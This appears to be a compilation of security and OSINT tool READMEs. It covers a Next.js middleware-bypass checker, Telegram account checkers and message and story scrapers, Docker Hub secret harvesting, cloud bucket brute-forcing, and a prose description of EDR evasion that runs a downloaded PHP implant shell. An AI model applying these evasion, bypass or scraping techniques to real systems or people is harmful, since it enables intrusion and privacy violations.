API-s-for-OSINT - List Of API's For Gathering Information About Phone Numbers, Addresses, Domains Etc

Thank you for following me! https://cybdetective.com

IOT/IP Search engines

Universal OSINT APIs

Phone Number Lookup and Verification

Address/ZIP codes lookup

People and documents verification

Business/Entity search

Domain/DNS/IP lookup

Mobile Apps Endpoints

Scraping

Whois

GEO IP

Wi-fi lookup

Network

Finance

Email

Names/Surnames

Pastebin/Leaks

Archives

Hashes decrypt/encrypt

Crypto

Malware

Face Search

## Face Detection

## Reverse Image Search

## AI Geolocation

Social Media and Messengers

UNOFFICIAL APIs

!WARNING Use with caution! Accounts may be blocked permanently for using unofficial APIs.

Search Engines

| Memex Marginalia | https://memex.marginalia.nu/projects/edge/api.gmi | An API for new privacy search engine | FREE |

News analyze

Darknet

Torrents/file sharing

Vulnerabilities

Flights

Webcams

## Regex

API testing tools

Curl converters (tools that help to write code using API queries)

Create your own API

Distribute your own API

API Keys Info

API directories

If you don't find what you need, try searching these directories.

How to learn how to work with REST API?

If you don't know how to work with the REST API, I recommend you check out the Netlas API guide I wrote for Netlas.io.

Netlas Cookbook

There it is very brief and accessible to write how to automate requests in different programming languages (focus on Python and Bash) and process the resulting JSON data.

Thank you for following me! https://cybdetective.com

Ghost-Route - Ghost Route Detects If A Next JS Site Is Vulnerable To The Corrupt Middleware Bypass Bug (CVE-2025-29927)

A Python script to check Next.js sites for corrupt middleware vulnerability (CVE-2025-29927).

The corrupt middleware vulnerability allows an attacker to bypass authentication and access protected routes by send a custom header x-middleware-subrequest.

Next JS versions affected: - 11.1.4 and up

[!WARNING] This tool is for educational purposes only. Do not use it on websites or systems you do not own or have explicit permission to test. Unauthorized testing may be illegal and unethical.

Installation

Clone the repo

git clone https://github.com/takumade/ghost-route.git
cd ghost-route

Create and activate virtual environment

python -m venv .venv
source .venv/bin/activate

Install dependencies

pip install -r requirements.txt

Usage

python ghost-route.py <url> <path> <show_headers>

• <url>: Base URL of the Next.js site (e.g., https://example.com)
• <path>: Protected path to test (default: /admin)
• <show_headers>: Show response headers (default: False)

Example

Basic Example

python ghost-route.py https://example.com /admin

Show Response Headers

python ghost-route.py https://example.com /admin True

License

MIT License

Credits

• CVE-2025-29927
• Next.js and the corrupt middleware: the authorizing artifact
• Rachid A.
• Yasser Allam

Maryam - Open-source Intelligence(OSINT) Framework

OWASP Maryam is a modular open-source framework based on OSINT and data gathering. It is designed to provide a robust environment to harvest data from open sources and search engines quickly and thoroughly.

Installation

Supported OS

• Linux
• FreeBSD
• Darwin
• OSX

$ pip install maryam

Alternatively, you can install the latest version with the following command (Recommended):

pip install git+https://github.com/saeeddhqan/maryam.git

Usage

# Using dns_search. --max means all of resources. --api shows the results as json.
# .. -t means use multi-threading.
maryam -e dns_search -d ibm.com -t 5 --max --api --form 
# Using youtube. -q means query
maryam -e youtube -q "<QUERY>"
maryam -e google -q "<QUERY>"
maryam -e dnsbrute -d domain.tld
# Show framework modules
maryam -e show modules
# Set framework options.
maryam -e set proxy ..
maryam -e set agent ..
maryam -e set timeout ..
# Run web API
maryam -e web api 127.0.0.1 1313

Contribution

Here is a start guide: Development Guide You can add a new search engine to the util classes or use the current search engines to write a new module. The best help to write a new module is checking the current modules.

Roadmap

• Write a language model based search

Links

OWASP

Wiki

Install

Modules Guide

Development Guide

To report bugs, requests, or any other issues please create an issue.

TruffleHog Explorer - A User-Friendly Web-Based Tool To Visualize And Analyze Data Extracted Using TruffleHog

Welcome to TruffleHog Explorer, a user-friendly web-based tool to visualize and analyze data extracted using TruffleHog. TruffleHog is one of the most powerful secrets discovery, classification, validation, and analysis open source tool. In this context, a secret refers to a credential a machine uses to authenticate itself to another machine. This includes API keys, database passwords, private encryption keys, and more.

With an improved UI/UX, powerful filtering options, and export capabilities, this tool helps security professionals efficiently review potential secrets and credentials found in their repositories.

⚠️ This dashboard has been tested only with GitHub TruffleHog JSON outputs. Expect updates soon to support additional formats and platforms.

You can use online version here: TruffleHog Explorer

🚀 Features

• Intuitive UI/UX: Beautiful pastel theme with smooth navigation.
• Powerful Filtering:
• Filter findings by repository, detector type, and uploaded file.
• Flexible date range selection with a calendar picker.
• Verification status categorization for effective review.
• Advanced search capabilities for faster identification.
• Batch Operations:
• Verify or reject multiple findings with a single click.
• Toggle visibility of rejected results for a streamlined view.
• Bulk processing to manage large datasets efficiently.
• Export Capabilities:
• Export verified secrets or filtered findings effortlessly.
• Save and load session backups for continuity.
• Generate reports in multiple formats (JSON, CSV).
• Dynamic Sorting:
• Sort results by repository, date, or verification status.
• Customizable sorting preferences for a personalized experience.

📥 Installation & Usage

1. Clone the Repository

$ git clone https://github.com/yourusername/trufflehog-explorer.git
$ cd trufflehog-explorer

2. Open the index.html

Simply open the index.html file in your preferred web browser.

$ open index.html

📂 How to Use

1. Upload TruffleHog JSON Findings:
2. Click on the "Load Data" section and select your .json files from TruffleHog output.
3. Multiple files are supported.
4. Apply Filters:
5. Choose filters such as repository, detector type, and verification status.
6. Utilize the date range picker to narrow down findings.
7. Leverage the search function to locate specific findings quickly.
8. Review Findings:
9. Click on a finding to expand and view its details.
10. Use the action buttons to verify or reject findings.
11. Add comments and annotations for better tracking.
12. Export Results:
13. Export verified or filtered findings for reporting.
14. Save session data for future review and analysis.
15. Save Your Progress:
16. Save your session and resume later without losing any progress.
17. Automatic backup feature to prevent data loss.

Happy Securing! 🔒

PANO - Advanced OSINT Investigation Platform Combining Graph Visualization, Timeline Analysis, And AI Assistance To Uncover Hidden Connections In Data

Getting Started

1. Clone the repository: bash git clone https://github.com/ALW1EZ/PANO.git cd PANO

2. Run the application:

3. Linux: ./start_pano.sh
4. Windows: start_pano.bat

The startup script will automatically: - Check for updates - Set up the Python environment - Install dependencies - Launch PANO

In order to use Email Lookup transform You need to login with GHunt first. After starting the pano via starter scripts;

1. Select venv manually
2. Linux: source venv/bin/activate
3. Windows: call venv\Scripts\activate
4. See how to login here

💡 Quick Start Guide

1. Create Investigation: Start a new investigation or load an existing one
2. Add Entities: Drag entities from the sidebar onto the graph
3. Discover Connections: Use transforms to automatically find relationships
4. Analyze: Use timeline and map views to understand patterns
5. Save: Export your investigation for later use

🔍 Features

🕸️ Core Functionality

• Interactive Graph Visualization
• Drag-and-drop entity creation
• Multiple layout algorithms (Circular, Hierarchical, Radial, Force-Directed)
• Dynamic relationship mapping

• Visual node and edge styling

• Timeline Analysis

• Chronological event visualization
• Interactive timeline navigation
• Event filtering and grouping

• Temporal relationship analysis

• Map Integration

• Geographic data visualization
• Location-based analysis
• Interactive mapping features
• Coordinate plotting and tracking

🎯 Entity Management

• Supported Entity Types
• 📧 Email addresses
• 👤 Usernames
• 🌐 Websites
• 🖼️ Images
• 📍 Locations
• ⏰ Events
• 📝 Text content
• 🔧 Custom entity types

🔄 Transform System

• Email Analysis
• Google account investigation
• Calendar event extraction
• Location history analysis

• Connected services discovery

• Username Analysis

• Cross-platform username search
• Social media profile discovery
• Platform correlation

• Web presence analysis

• Image Analysis

• Reverse image search
• Visual content analysis
• Metadata extraction
• Related image discovery

🤖 AI Integration

• PANAI
• Natural language investigation assistant
• Automated entity extraction and relationship mapping
• Pattern recognition and anomaly detection
• Multi-language support
• Context-aware suggestions
• Timeline and graph analysis

🧩 Core Components

📦 Entities

Entities are the fundamental building blocks of PANO. They represent distinct pieces of information that can be connected and analyzed:

• Built-in Types
• 📧 Email: Email addresses with service detection
• 👤 Username: Social media and platform usernames
• 🌐 Website: Web pages with metadata
• 🖼️ Image: Images with EXIF and analysis
• 📍 Location: Geographic coordinates and addresses
• ⏰ Event: Time-based occurrences

• 📝 Text: Generic text content

• Properties System

• Type-safe property validation
• Automatic property getters
• Dynamic property updates
• Custom property types
• Metadata support

⚡ Transforms

Transforms are automated operations that process entities to discover new information and relationships:

• Operation Types
• 🔍 Discovery: Find new entities from existing ones
• 🔗 Correlation: Connect related entities
• 📊 Analysis: Extract insights from entity data
• 🌐 OSINT: Gather open-source intelligence

• 🔄 Enrichment: Add data to existing entities

• Features

• Async operation support
• Progress tracking
• Error handling
• Rate limiting
• Result validation

🛠️ Helpers

Helpers are specialized tools with dedicated UIs for specific investigation tasks:

• Available Helpers
• 🔍 Cross-Examination: Analyze statements and testimonies
• 👤 Portrait Creator: Generate facial composites
• 📸 Media Analyzer: Advanced image processing and analysis
• 🔍 Base Searcher: Search near places of interest

• 🔄 Translator: Translate text between languages

• Helper Features

• Custom Qt interfaces
• Real-time updates
• Graph integration
• Data visualization
• Export capabilities

👥 Contributing

We welcome contributions! To contribute to PANO:

1. Fork the repository at https://github.com/ALW1EZ/PANO/
2. Make your changes in your fork
3. Test your changes thoroughly
4. Create a Pull Request to our main branch
5. In your PR description, include:
6. What the changes do
7. Why you made these changes
8. Any testing you've done
9. Screenshots if applicable

Note: We use a single main branch for development. All pull requests should be made directly to main.

📖 Development Guide

from dataclasses import dataclass
from typing import ClassVar, Dict, Any
from .base import Entity

@dataclass
class PhoneNumber(Entity):
    name: ClassVar[str] = "Phone Number"
    description: ClassVar[str] = "A phone number entity with country code and validation"

    def init_properties(self):
        """Initialize phone number properties"""
        self.setup_properties({
            "number": str,
            "country_code": str,
            "carrier": str,
            "type": str,  # mobile, landline, etc.
            "verified": bool
        })

    def update_label(self):
        """Update the display label"""
        self.label = self.format_label(["country_code", "number"])

from dataclasses import dataclass
from typing import ClassVar, List
from .base import Transform
from entities.base import Entity
from entities.phone_number import PhoneNumber
from entities.location import Location
from ui.managers.status_manager import StatusManager

@dataclass
class PhoneLookup(Transform):
    name: ClassVar[str] = "Phone Number Lookup"
    description: ClassVar[str] = "Lookup phone number details and location"
    input_types: ClassVar[List[str]] = ["PhoneNumber"]
    output_types: ClassVar[List[str]] = ["Location"]

    async def run(self, entity: PhoneNumber, graph) -> List[Entity]:
        if not isinstance(entity, PhoneNumber):
            return []

        status = StatusManager.get()
        operation_id = status.start_loading("Phone Lookup")

        try:
            # Your phone number lookup logic here
            # Example: query an API for phone number details
            location = Location(properties={
                "country": "Example Country",
                "region": "Example Region",
                "carrier": "Example Carrier",
                "source": "PhoneLookup transform"
            })

            return [location]

        except Exception as e:
            status.set_text(f"Error during phone lookup: {str(e)}")
            return []

        finally:
            status.stop_loading(operation_id)

from PySide6.QtWidgets import (
    QWidget, QVBoxLayout, QHBoxLayout, QPushButton,
    QTextEdit, QLabel, QComboBox
)
from .base import BaseHelper
from qasync import asyncSlot

class DummyHelper(BaseHelper):
    """A dummy helper for testing"""

    name = "Dummy Helper" 
    description = "A dummy helper for testing"

    def setup_ui(self):
        """Initialize the helper's user interface"""
        # Create input text area
        self.input_label = QLabel("Input:")
        self.input_text = QTextEdit()
        self.input_text.setPlaceholderText("Enter text to process...")
        self.input_text.setMinimumHeight(100)

        # Create operation selector
        operation_layout = QHBoxLayout()
        self.operation_label = QLabel("Operation:")
        self.operation_combo = QComboBox()
        self.operation_combo.addItems(["Uppercase", "Lowercase", "Title Case"])
        operation_layout.addWidget(self.operation_label)
        operation_layout.addWidget(self.operation_combo)

        # Create process button
        self.process_btn = QPushButton("Process")
        self.process_btn.clicked.connect(self.process_text)

        # Create output text area
        self.output_label = QLabel("Output:")
        self.output_text = QTextEdit()
        self.output_text.setReadOnly(True)
        self.output_text.setMinimumHeight(100)

        # Add widgets to main layout
        self.main_layout.addWidget(self.input_label)
        self.main_layout.addWidget(self.input_text)
        self.main_layout.addLayout(operation_layout)
        self.main_layout.addWidget(self.process_btn)
        self.main_layout.addWidget(self.output_label)
        self.main_layout.addWidget(self.output_text)

        # Set dialog size
        self.resize(400, 500)

    @asyncSlot()
    async def process_text(self):
        """Process the input text based on selected operation"""
        text = self.input_text.toPlainText()
        operation = self.operation_combo.currentText()

        if operation == "Uppercase":
            result = text.upper()
        elif operation == "Lowercase":
            result = text.lower()
        else:  # Title Case
            result = text.title()

        self.output_text.setPlainText(result)

📄 License

This project is licensed under the Creative Commons Attribution-NonCommercial (CC BY-NC) License.

You are free to: - ✅ Share: Copy and redistribute the material - ✅ Adapt: Remix, transform, and build upon the material

Under these terms: - ℹ️ Attribution: You must give appropriate credit - 🚫 NonCommercial: No commercial use - 🔓 No additional restrictions

🙏 Acknowledgments

Special thanks to all library authors and contributors who made this project possible.

👨‍💻 Author

Created by ALW1EZ with AI ❤️

Telegram-Checker - A Python Tool For Checking Telegram Accounts Via Phone Numbers Or Usernames

Enhanced version of bellingcat's Telegram Phone Checker!

A Python script to check Telegram accounts using phone numbers or username.

✨ Features

• 🔍 Check single or multiple phone numbers and usernames
• 📁 Import numbers from text file
• 📸 Auto-download profile pictures
• 💾 Save results as JSON
• 🔐 Secure credential storage
• 📊 Detailed user information

🚀 Installation

1. Clone the repository:

git clone https://github.com/unnohwn/telegram-checker.git
cd telegram-checker

1. Install required packages:

pip install -r requirements.txt

📦 Requirements

Contents of requirements.txt:

telethon
rich
click
python-dotenv

Or install packages individually:

pip install telethon rich click python-dotenv

⚙️ Configuration

First time running the script, you'll need: - Telegram API credentials (get from https://my.telegram.org/apps) - Your Telegram phone number including countrycode + - Verification code (sent to your Telegram)

💻 Usage

Run the script:

python telegram_checker.py

Choose from options: 1. Check phone numbers from input 2. Check phone numbers from file 3. Check usernames from input 4. Check usernames from file 5. Clear saved credentials 6. Exit

📂 Output

Results are saved in: - results/ - JSON files with detailed information - profile_photos/ - Downloaded profile pictures

⚠️ Note

This tool is for educational purposes only. Please respect Telegram's terms of service and user privacy.

📄 License

MIT License

Telegram-Scraper - A Powerful Python Script That Allows You To Scrape Messages And Media From Telegram Channels Using The Telethon Library

A powerful Python script that allows you to scrape messages and media from Telegram channels using the Telethon library. Features include real-time continuous scraping, media downloading, and data export capabilities.

___________________  _________
\__    ___/  _____/ /   _____/
  |    | /   \  ___ \_____  \ 
  |    | \    \_\  \/        \
  |____|  \______  /_______  /
                 \/        \/

Features 🚀

• Scrape messages from multiple Telegram channels
• Download media files (photos, documents)
• Real-time continuous scraping
• Export data to JSON and CSV formats
• SQLite database storage
• Resume capability (saves progress)
• Media reprocessing for failed downloads
• Progress tracking
• Interactive menu interface

Prerequisites 📋

Before running the script, you'll need:

• Python 3.7 or higher
• Telegram account
• API credentials from Telegram

Required Python packages

pip install -r requirements.txt

Contents of requirements.txt:

telethon
aiohttp
asyncio

Getting Telegram API Credentials 🔑

1. Visit https://my.telegram.org/auth
2. Log in with your phone number
3. Click on "API development tools"
4. Fill in the form:
5. App title: Your app name
6. Short name: Your app short name
7. Platform: Can be left as "Desktop"
8. Description: Brief description of your app
9. Click "Create application"
10. You'll receive:
11. api_id: A number
12. api_hash: A string of letters and numbers

Keep these credentials safe, you'll need them to run the script!

Setup and Running 🔧

1. Clone the repository:

git clone https://github.com/unnohwn/telegram-scraper.git
cd telegram-scraper

1. Install requirements:

pip install -r requirements.txt

1. Run the script:

python telegram-scraper.py

1. On first run, you'll be prompted to enter:
2. Your API ID
3. Your API Hash
4. Your phone number (with country code)
5. Your phone number (with country code) or bot, but use the phone number option when prompted second time.
6. Verification code (sent to your Telegram)

Initial Scraping Behavior 🕒

When scraping a channel for the first time, please note:

• The script will attempt to retrieve the entire channel history, starting from the oldest messages
• Initial scraping can take several minutes or even hours, depending on:
• The total number of messages in the channel
• Whether media downloading is enabled
• The size and number of media files
• Your internet connection speed
• Telegram's rate limiting
• The script uses pagination and maintains state, so if interrupted, it can resume from where it left off
• Progress percentage is displayed in real-time to track the scraping status
• Messages are stored in the database as they are scraped, so you can start analyzing available data even before the scraping is complete

Usage 📝

The script provides an interactive menu with the following options:

• [A] Add new channel
• Enter the channel ID or channelname
• [R] Remove channel
• Remove a channel from scraping list
• [S] Scrape all channels
• One-time scraping of all configured channels
• [M] Toggle media scraping
• Enable/disable downloading of media files
• [C] Continuous scraping
• Real-time monitoring of channels for new messages
• [E] Export data
• Export to JSON and CSV formats
• [V] View saved channels
• List all saved channels
• [L] List account channels
• List all channels with ID:s for account
• [Q] Quit

Channel IDs 📢

You can use either: - Channel username (e.g., channelname) - Channel ID (e.g., -1001234567890)

Data Storage 💾

Database Structure

Data is stored in SQLite databases, one per channel: - Location: ./channelname/channelname.db - Table: messages - id: Primary key - message_id: Telegram message ID - date: Message timestamp - sender_id: Sender's Telegram ID - first_name: Sender's first name - last_name: Sender's last name - username: Sender's username - message: Message text - media_type: Type of media (if any) - media_path: Local path to downloaded media - reply_to: ID of replied message (if any)

Media Storage 📁

Media files are stored in: - Location: ./channelname/media/ - Files are named using message ID or original filename

Exported Data 📊

Data can be exported in two formats: 1. CSV: ./channelname/channelname.csv - Human-readable spreadsheet format - Easy to import into Excel/Google Sheets

1. JSON: ./channelname/channelname.json
2. Structured data format
3. Ideal for programmatic processing

Features in Detail 🔍

Continuous Scraping

The continuous scraping feature ([C] option) allows you to: - Monitor channels in real-time - Automatically download new messages - Download media as it's posted - Run indefinitely until interrupted (Ctrl+C) - Maintains state between runs

Media Handling

The script can download: - Photos - Documents - Other media types supported by Telegram - Automatically retries failed downloads - Skips existing files to avoid duplicates

Error Handling 🛠️

The script includes: - Automatic retry mechanism for failed media downloads - State preservation in case of interruption - Flood control compliance - Error logging for failed operations

Limitations ⚠️

• Respects Telegram's rate limits
• Can only access public channels or channels you're a member of
• Media download size limits apply as per Telegram's restrictions

Contributing 🤝

Contributions are welcome! Please feel free to submit a Pull Request.

License 📄

This project is licensed under the MIT License - see the LICENSE file for details.

Disclaimer ⚖️

This tool is for educational purposes only. Make sure to: - Respect Telegram's Terms of Service - Obtain necessary permissions before scraping - Use responsibly and ethically - Comply with data protection regulations

Telegram-Story-Scraper - A Python Script That Allows You To Automatically Scrape And Download Stories From Your Telegram Friends

A Python script that allows you to automatically scrape and download stories from your Telegram friends using the Telethon library. The script continuously monitors and saves both photos and videos from stories, along with their metadata.

Important Note About Story Access ⚠️

Due to Telegram API restrictions, this script can only access stories from: - Users you have added to your friend list - Users whose privacy settings allow you to view their stories

This is a limitation of Telegram's API and cannot be bypassed.

Features 🚀

• Automatically scrapes all available stories from your Telegram friends
• Downloads both photos and videos from stories
• Stores metadata in SQLite database
• Exports data to Excel spreadsheet
• Real-time monitoring with customizable intervals
• Timestamp is set to (UTC+2)
• Maintains record of previously downloaded stories
• Resume capability
• Automatic retry mechanism

Prerequisites 📋

Before running the script, you'll need:

• Python 3.7 or higher
• Telegram account
• API credentials from Telegram
• Friends on Telegram whose stories you want to track

Required Python packages

pip install -r requirements.txt

Contents of requirements.txt:

telethon
openpyxl
schedule

Getting Telegram API Credentials 🔑

1. Visit https://my.telegram.org/auth
2. Log in with your phone number
3. Click on "API development tools"
4. Fill in the form:
5. App title: Your app name
6. Short name: Your app short name
7. Platform: Can be left as "Desktop"
8. Description: Brief description of your app
9. Click "Create application"
10. You'll receive:
11. api_id: A number
12. api_hash: A string of letters and numbers

Keep these credentials safe, you'll need them to run the script!

Setup and Running 🔧

1. Clone the repository:

git clone https://github.com/unnohwn/telegram-story-scraper.git
cd telegram-story-scraper

1. Install requirements:

pip install -r requirements.txt

1. Run the script:

python TGSS.py

1. On first run, you'll be prompted to enter:
2. Your API ID
3. Your API Hash
4. Your phone number (with country code)
5. Verification code (sent to your Telegram)
6. Checking interval in seconds (default is 60)

How It Works 🔄

The script: 1. Connects to your Telegram account 2. Periodically checks for new stories from your friends 3. Downloads any new stories (photos/videos) 4. Stores metadata in a SQLite database 5. Exports information to an Excel file 6. Runs continuously until interrupted (Ctrl+C)

Data Storage 💾

Database Structure (stories.db)

SQLite database containing: - user_id: Telegram user ID of the story creator - story_id: Unique story identifier - timestamp: When the story was posted (UTC+2) - filename: Local filename of the downloaded media

CSV and Excel Export (stories_export.csv/xlsx)

Export file containing the same information as the database, useful for: - Easy viewing of story metadata - Filtering and sorting - Data analysis - Sharing data with others

Media Storage 📁

• Photos are saved as: {user_id}_{story_id}.jpg
• Videos are saved with their original extension: {user_id}_{story_id}.{extension}
• All media files are saved in the script's directory

Features in Detail 🔍

Continuous Monitoring

• Customizable checking interval (default: 60 seconds)
• Runs continuously until manually stopped
• Maintains state between runs
• Avoids duplicate downloads

Media Handling

• Supports both photos and videos
• Automatically detects media type
• Preserves original quality
• Generates unique filenames

Error Handling 🛠️

The script includes: - Automatic retry mechanism for failed downloads - Error logging for failed operations - Connection error handling - State preservation in case of interruption

Limitations ⚠️

• Subject to Telegram's rate limits
• Stories must be currently active (not expired)
• Media download size limits apply as per Telegram's restrictions

Contributing 🤝

Contributions are welcome! Please feel free to submit a Pull Request.

License 📄

This project is licensed under the MIT License - see the LICENSE file for details.

Disclaimer ⚖️

This tool is for educational purposes only. Make sure to: - Respect Telegram's Terms of Service - Obtain necessary permissions before scraping - Use responsibly and ethically - Comply with data protection regulations - Respect user privacy

gitGRAB - This Tool Is Designed To Interact With The GitHub API And Retrieve Specific User Details, Repository Information, And Commit Emails For A Given User

This tool is designed to interact with the GitHub API and retrieve specific user details, repository information, and commit emails for a given user.

Install Requests

pip install requests

Execute the program

python3 gitgrab.py

Snoop - OSINT Tool For Research Social Media Accounts By Username

OSINT Tool for research social media accounts by username

Install Requests

```Install Requests pip install requests

#### Install BeautifulSoup
```Install BeautifulSoup
pip install beautifulsoup4

Execute the program

Execute Snoop python3 snoop.py

BYOSI - Evade EDR's The Simple Way, By Not Touching Any Of The API's They Hook

Evade EDR's the simple way, by not touching any of the API's they hook.

Theory

I've noticed that most EDRs fail to scan scripting files, treating them merely as text files. While this might be unfortunate for them, it's an opportunity for us to profit.

Flashy methods like residing in memory or thread injection are heavily monitored. Without a binary signed by a valid Certificate Authority, execution is nearly impossible.

Enter BYOSI (Bring Your Own Scripting Interpreter). Every scripting interpreter is signed by its creator, with each certificate being valid. Testing in a live environment revealed surprising results: a highly signatured PHP script from this repository not only ran on systems monitored by CrowdStrike and Trellix but also established an external connection without triggering any EDR detections. EDRs typically overlook script files, focusing instead on binaries for implant delivery. They're configured to detect high entropy or suspicious sections in binaries, not simple scripts.

This attack method capitalizes on that oversight for significant profit. The PowerShell script's steps mirror what a developer might do when first entering an environment. Remarkably, just four lines of PowerShell code completely evade EDR detection, with Defender/AMSI also blind to it. Adding to the effectiveness, GitHub serves as a trusted deployer.

What this script does

The PowerShell script achieves EDR/AV evasion through four simple steps (technically 3):

1.) It fetches the PHP archive for Windows and extracts it into a new directory named 'php' within 'C:\Temp'.
2.) The script then proceeds to acquire the implant PHP script or shell, saving it in the same 'C:\Temp\php' directory.
3.) Following this, it executes the implant or shell, utilizing the whitelisted PHP binary (which exempts the binary from most restrictions in place that would prevent the binary from running to begin with.)

With these actions completed, congratulations: you now have an active shell on a Crowdstrike-monitored system. What's particularly amusing is that, if my memory serves me correctly, Sentinel One is unable to scan PHP file types. So, feel free to let your imagination run wild.

Disclaimer.

I am in no way responsible for the misuse of this. This issue is a major blind spot in EDR protection, i am only bringing it to everyones attention.

Thanks Section

A big thanks to @im4x5yn74x for affectionately giving it the name BYOSI, and helping with the env to test in bringing this attack method to life.

Edit

It appears as though MS Defender is now flagging the PHP script as malicious, but still fully allowing the Powershell script full execution. so, modify the PHP script.

Edit

hello sentinel one :) might want to make sure that you are making links not embed.

DockerSpy - DockerSpy Searches For Images On Docker Hub And Extracts Sensitive Information Such As Authentication Secrets, Private Keys, And More

DockerSpy searches for images on Docker Hub and extracts sensitive information such as authentication secrets, private keys, and more.

What is Docker?

Docker is an open-source platform that automates the deployment, scaling, and management of applications using containerization technology. Containers allow developers to package an application and its dependencies into a single, portable unit that can run consistently across various computing environments. Docker simplifies the development and deployment process by ensuring that applications run the same way regardless of where they are deployed.

About Docker Hub

Docker Hub is a cloud-based repository where developers can store, share, and distribute container images. It serves as the largest library of container images, providing access to both official images created by Docker and community-contributed images. Docker Hub enables developers to easily find, download, and deploy pre-built images, facilitating rapid application development and deployment.

Why OSINT on Docker Hub?

Open Source Intelligence (OSINT) on Docker Hub involves using publicly available information to gather insights and data from container images and repositories hosted on Docker Hub. This is particularly important for identifying exposed secrets for several reasons:

1. Security Audits: By analyzing Docker images, organizations can uncover exposed secrets such as API keys, authentication tokens, and private keys that might have been inadvertently included. This helps in mitigating potential security risks.

2. Incident Prevention: Proactively searching for exposed secrets in Docker images can prevent security breaches before they happen, protecting sensitive information and maintaining the integrity of applications.

3. Compliance: Ensuring that container images do not expose secrets is crucial for meeting regulatory and organizational security standards. OSINT helps verify that no sensitive information is unintentionally disclosed.

4. Vulnerability Assessment: Identifying exposed secrets as part of regular security assessments allows organizations to address these vulnerabilities promptly, reducing the risk of exploitation by malicious actors.

5. Enhanced Security Posture: Continuously monitoring Docker Hub for exposed secrets strengthens an organization's overall security posture, making it more resilient against potential threats.

Utilizing OSINT on Docker Hub to find exposed secrets enables organizations to enhance their security measures, prevent data breaches, and ensure the confidentiality of sensitive information within their containerized applications.

• Thousands of images on Docker Hub leak auth secrets, private keys
• Docker Hub images found to expose secrets and private keys

How DockerSpy Works

DockerSpy obtains information from Docker Hub and uses regular expressions to inspect the content for sensitive information, such as secrets.

Getting Started

To use DockerSpy, follow these steps:

1. Installation: Clone the DockerSpy repository and install the required dependencies.

git clone https://github.com/UndeadSec/DockerSpy.git && cd DockerSpy && make

1. Usage: Run DockerSpy from terminal.

dockerspy

Custom Configurations

To customize DockerSpy configurations, edit the following files: - Regular Expressions - Ignored File Extensions

Disclaimer

DockerSpy is intended for educational and research purposes only. Users are responsible for ensuring that their use of this tool complies with applicable laws and regulations.

Contribution

Contributions to DockerSpy are welcome! Feel free to submit issues, feature requests, or pull requests to help improve this tool.

About the Author

DockerSpy is developed and maintained by Alisson Moretto (UndeadSec)

I'm a passionate cyber threat intelligence pro who loves sharing insights and crafting cybersecurity tools.

Consider following me:

Thanks

Special thanks to @akaclandestine

CloudBrute - Awesome Cloud Enumerator

A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). The outcome is useful for bug bounty hunters, red teamers, and penetration testers alike.

The complete writeup is available. here

Motivation

we are always thinking of something we can automate to make black-box security testing easier. We discussed this idea of creating a multiple platform cloud brute-force hunter.mainly to find open buckets, apps, and databases hosted on the clouds and possibly app behind proxy servers.
Here is the list issues on previous approaches we tried to fix:

• separated wordlists
• lack of proper concurrency
• lack of supporting all major cloud providers
• require authentication or keys or cloud CLI access
• outdated endpoints and regions
• Incorrect file storage detection
• lack support for proxies (useful for bypassing region restrictions)
• lack support for user agent randomization (useful for bypassing rare restrictions)
• hard to use, poorly configured

Features

• Cloud detection (IPINFO API and Source Code)
• Supports all major providers
• Black-Box (unauthenticated)
• Fast (concurrent)
• Modular and easily customizable
• Cross Platform (windows, linux, mac)
• User-Agent Randomization
• Proxy Randomization (HTTP, Socks5)

Supported Cloud Providers

Microsoft: - Storage - Apps

Amazon: - Storage - Apps

Google: - Storage - Apps

DigitalOcean: - storage

Vultr: - Storage

Linode: - Storage

Alibaba: - Storage

Version

1.0.0

Usage

Just download the latest release for your operation system and follow the usage.

To make the best use of this tool, you have to understand how to configure it correctly. When you open your downloaded version, there is a config folder, and there is a config.YAML file in there.

It looks like this

providers: ["amazon","alibaba","amazon","microsoft","digitalocean","linode","vultr","google"] # supported providers
environments: [ "test", "dev", "prod", "stage" , "staging" , "bak" ] # used for mutations
proxytype: "http"  # socks5 / http
ipinfo: ""      # IPINFO.io API KEY

For IPINFO API, you can register and get a free key at IPINFO, the environments used to generate URLs, such as test-keyword.target.region and test.keyword.target.region, etc.

We provided some wordlist out of the box, but it's better to customize and minimize your wordlists (based on your recon) before executing the tool.

After setting up your API key, you are ready to use CloudBrute.

 ██████╗██╗      ██████╗ ██╗   ██╗██████╗ ██████╗ ██████╗ ██╗   ██╗████████╗███████╗
██╔════╝██║     ██╔═══██╗██║   ██║██╔══██╗██╔══██╗██╔══██╗██║   ██║╚══██╔══╝██╔════╝
██║     ██║     ██║   ██║██║   ██║██║  ██║██████╔╝██████╔╝██║   ██║   ██║   █████╗  
██║     ██║     ██║   ██║██║   ██║██║  ██║██╔══██╗██╔══██╗██║   ██║   ██║   ██╔══╝  
╚██████╗███████╗╚██████╔╝╚██████╔╝██████╔╝██████╔╝██║  ██║╚██████╔╝   ██║   ███████╗
 ╚═════╝╚══════╝ ╚═════╝  ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝  ╚═╝ ╚═════╝    ╚═╝   ╚══════╝
                                                V 1.0.7
usage: CloudBrute [-h|--help] -d|--domain "<value>" -k|--keyword "<value>"
                  -w|--wordlist "<value>" [-c|--cloud "<value>"] [-t|--threads
                  <integer>] [-T|--timeout <integer>] [-p|--proxy "<value>"]
                  [-a|--randomagent "<value>"] [-D|--debug] [-q|--quite]
                  [-m|--mode "<value>"] [-o|--output "<value>"]
                  [-C|--configFolder "<value>"]

                  Awesome Cloud Enumerator

Arguments:

  -h  --help          Print help information
  -d  --domain        domain
  -k  --keyword       keyword used to generator urls
  -w  --wordlist      path to wordlist
  -c  --cloud         force a search, check config.yaml providers list
  -t  --threads       number of threads. Default: 80
  -T  --timeout       timeout per request in seconds. Default: 10
  -p  --proxy         use proxy list
  -a  --randomagent   user agent randomization
  -D  --debug         show debug logs. Default: false
  -q  --quite         suppress all output. Default: false
  -m  --mode          storage or app. Default: storage
  -o  --output        Output file. Default: out.txt
  -C  --configFolder  Config path. Default: config

for example

CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"

please note -k keyword used to generate URLs, so if you want the full domain to be part of mutation, you have used it for both domain (-d) and keyword (-k) arguments

If a cloud provider not detected or want force searching on a specific provider, you can use -c option.

CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt

Dev

• Clone the repo
• go build -o CloudBrute main.go
• go test internal

in action

Volana - Shell Command Obfuscation To Avoid Detection Systems

Usage

